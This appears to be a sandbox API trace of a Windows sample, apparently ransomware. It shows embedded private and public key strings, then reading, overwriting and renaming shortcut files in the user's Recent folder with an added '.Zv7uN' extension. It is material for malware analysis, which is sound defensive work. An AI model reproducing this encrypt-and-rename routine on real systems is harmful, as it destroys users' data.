lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.895] GetCurrentThreadId () returned 0xa30 [0081.895] GetCurrentThreadId () returned 0xa30 [0081.895] GetCurrentThreadId () returned 0xa30 [0081.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.896] GetCurrentThreadId () returned 0xa30 [0081.896] GetCurrentThreadId () returned 0xa30 [0081.896] GetCurrentThreadId () returned 0xa30 [0081.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kaymvo_e ijsz80wgb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.896] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.896] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.896] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa8f [0081.896] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.896] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa8f, lpOverlapped=0x0) returned 1 [0081.897] CloseHandle (hObject=0x124) returned 1 [0081.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kaymvo_e ijsz80wgb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.899] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa8f, lpOverlapped=0x0) returned 1 [0081.901] CloseHandle (hObject=0x124) returned 1 [0081.902] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kaymvo_e ijsz80wgb.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kaymvo_e ijsz80wgb.lnk.zv7un")) returned 1 [0081.903] GetCurrentThreadId () returned 0xa30 [0081.903] GetCurrentThreadId () returned 0xa30 [0081.903] GetCurrentThreadId () returned 0xa30 [0081.903] GetCurrentThreadId () returned 0xa30 [0081.903] GetCurrentThreadId () returned 0xa30 [0081.903] GetCurrentThreadId () returned 0xa30 [0081.903] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2677880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2677880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa1b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="KdBdOCDBxl.lnk", cAlternateFileName="KDBDOC~1.LNK")) returned 1 [0081.903] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.903] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kdbdocdbxl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2677880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2677880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa1b)) returned 1 [0081.903] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kdbdocdbxl.lnk")) returned 0x20 [0081.903] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk", dwFileAttributes=0x80) returned 1 [0081.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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